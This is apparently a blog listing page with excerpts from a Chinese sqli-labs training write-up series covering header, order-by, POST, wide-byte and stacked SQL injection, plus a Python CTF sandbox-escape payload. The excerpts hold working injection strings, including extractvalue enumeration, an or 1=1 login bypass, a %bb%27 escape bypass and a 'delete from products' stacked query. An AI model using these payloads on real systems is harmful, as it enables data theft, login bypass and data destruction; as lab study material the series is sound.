sqlilbas靶场记录头部注入(四)
sqlilbas靶场记录头部注入(四)less-18基于错误的用户代理,头部POST注入
打开之后就会回显ip地址
使用之前的语句发现都显示登录失败
注意这一关模拟的是,注册之后登录进去,再进行注入的过程,这里登录进去之后显示user agent
extractvalue()注入
爆数据库:' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
这里不使用注释符的原因在于
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
uagent是在IP和uname之前的,如果注释掉后面的语句,会直接导致Insert语句直接异常,达不到我们查询的目的。
爆表:' and extractvalue(1,concat(0x7e,(select group ...
sqlilabs靶场记录排序注入(九)
sqlilabs靶场记录排序注入(九)less-46基于错误GET数字型排序注入这一关首先要说一下的是,在前面的关卡中我们大多是使用 id这个参数来获取到正常的页面,但在这几关中我们要使用 sort 这个参数
我们看到了正常的页面,从中我们也发现了数字的不同,页面给我们呈现出的账号表格中的顺序是不同的,那么这就是我们这几关要说的知识点。
这关往后都是order by语句与limit语句的相关注入,还是很实用的,尤其是对于一些会显示表格的网站,他们的 URL 中通常都会有sort和limit两个参数。
从中我们了解到通过sort参数接受需要排序的列的序号
尝试sort asc 和sort=1 desc 分别显示升序和降序的表格,说明次数是注入点,即注入点在order by后面的参数中.而order by不同于在where后的注入,不能使用union等进行注入.
order by后的数字可以作为一个注入点.也就是构造order by 后的一个语句,让改语句执行结果为一个数,我们尝试:
left(version(),1) right(version(),1)
没有报错,但是 r ...
sqlilabs靶场记录双服务器(六)
sqlilabs靶场记录双服务器(六)搭建双服务器Tomcat和Apache由于第29,30,31关需要双服务器环境,即Tomcat和Apache。这里以win2003为环境,利用JSP和PHPStudy来搭建服务器,由于我们已经在PHPStudy上搭建好了Apache服务器,现在只需要在JSP上搭建Tomcat即可。首先下载JSP
https://www.xp.cn/download.html
sqli-labs文件夹下面还有tomcat文件
解压放到JSPstudy的www目录下
需要改文件
改两处,改成自己的配置,接着改30和31关
less-29基于错误GET双服务器单引号字符型注入
服务器双层架构
服务器端有两个部分,第一部分是Tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器
工作流程为:client访问服务器,能直接访问到Tomcat服务器,然后tomcat服务器在向Apache服务器请求数据,数据返回路径刚好相反
参数解析问题
index.php?id=1&id=2,这个时候是回显id=1 ...
sqlilabs靶场记录中级关(五)
sqlilabs靶场记录中级关(五)less-23基于错误的,过滤注释的GET型显然根据提示会过滤注释符,先把之前语句试一下
id=1 正常id=1' version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 id=1" 正常
试着闭合一下
id=1' or 1=1-- # 报错id=1' or 1=1--+ 报错id=1' or 1=1# 报错id=1' or 1=1%23
显然注释符闭合不了
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
那么我们试着闭合一下
SELECT * FROM users WHERE id='1' order by 4 and '1'='1' LIMIT 0,11' order by 4 a ...
sqlilabs靶场记录update型(三)
sqlilabs靶场记录update型(三)mysql增删查改增增加一行数据:insert
insert into users values('15','test','test');
删删数据:delete
delete from table_name;delete from table_name where id=1;
删结构:drop
删数据库: drop database 数据库名;删除表: drop table 表名;删除表中的: alter table 表名 drop column 列名;
改修改:update
修改所有:update 表名 set 列名='新的值,非数字加单引号';带条件的修改:update 表名 set 列名='新的值,非数字加单引号' where id=数字;update users set username='test2' where id=15;
less-17基于错误的更新查询POST注入这关的场景是登录后再修改密码界面注 ...
sqlilabs靶场记录GET型(一)
sqlilabs靶场记录GET型(一)基础知识show databases: 显示数据库use security; 使用数据库show tables; 展示表名desc emails; 对某张表降序显示information_schema 系统数据库
其中schema代表数据库
基础查询语句
查询数据库
select schema_name from information_schema.schemata;
使用下面的语句可查所以表名
select table_name from information_schema.tables where table_schema="security";
猜表的所有列
select column_name from information_schema.columns where table_name='xxx';
查询字段内容
select id,email_id from emails;
limit
返回前三条数据
select * from users limit 3;
从索引1开始 ...
slilabs靶场记录宽字节绕过(七)
slilabs靶场记录宽字节绕过(七)宽字节注入的了解原理mysql在使用GBK编码的时候会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围).我们在过滤’时,往往利用的思路是将’转换为'
php自带了一些转义特殊字符的函数,如addslanshes(),mysql_real_escape_string(),mysql_escape_string()等,这些函数可以用来防止sql注入
如id=1’or’1’=’1,单引号本来用来闭合语句,这些函数会自动转义这些闭合单引号,在这些单引号的前面加上转义字符,变为
id=1\'or\'1\'=\'1
如此在sql查询中是一个普通的字符串,不能进行注入.
%bb吃掉\
如果程序的默认字符集是gbk等宽字节字符集,就有可能产生宽字节注入,绕过上述的过滤.
若php使用的mysql_query(“set name gbk”)将默认字符集设置为gbk,而使用addslashes()转义用户输入,这使如果用户输入%bb%27,则 ...
sqlilabs靶场记录POST型(二)
sqlilabs靶场记录POST型(二)接下来就是使用post注入了,这里使用hackbar插件 配合burp
抓包发现post了uname和passwd两个数据
less-11基于错误的- 单引号 -字符型先基本测试一下
uname=1 & passwd=1 无法登录无回显uname=1' & passwd=1 version for the right syntax to use near '1' LIMIT 0,1' at line 1uname=1 & passwd=1' version for the right syntax to use near ''1'' LIMIT 0,1' at line 1uname=1" & passwd=1 无法登录无回显uname=1 & passwd=1" 无法登录无回显
说明是单引号闭合
uname=1' or 1=1# & passwd=1 万 ...
slqilabs靶场记录堆叠注入(八)
slqilabs靶场记录堆叠注入(八)Stacked injections-堆叠注入从字面意思上来看就是一堆的sql语句一起执行.而在真实的运用中也是这样的,我们知道在mysql中,主要是在命令行中,每一条语句的结尾加;表示语句的结束.这样我们就想到了是不是可以多句一起使用.这个就叫stacked injection.
原理介绍在sql中,分号;是用来表示一条sql语句的结束,试着想一下我们在;结束一个sql语句之后继续构造下一条语句,会不会一起执行?因为这个想法也就造成了堆叠注入.而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别吗?区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句.
户输入:1;delete from products服务器端产生的sql语句为:(因没有对输入的参数进行过滤)select * from products where productid=1;delete from products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
堆 ...
Python(CTF)
关于python魔术方法payload:””.class.mro[2].subclasses()40.read() 的解释# 获得一个字符串实例>>> ""''# 获得字符串的type实例>>> "".__class__ <type 'str'># 获得其父类>>> "".__class__.__mro__(<type 'str'>, <type 'basestring'>, <type 'object'>)# 获得父类中的object类>>> "".__class__.__mro__[2] <type 'object'># 获得object类的子类,但发现这个__subclasses__属性是个方法>>> "".__cl ...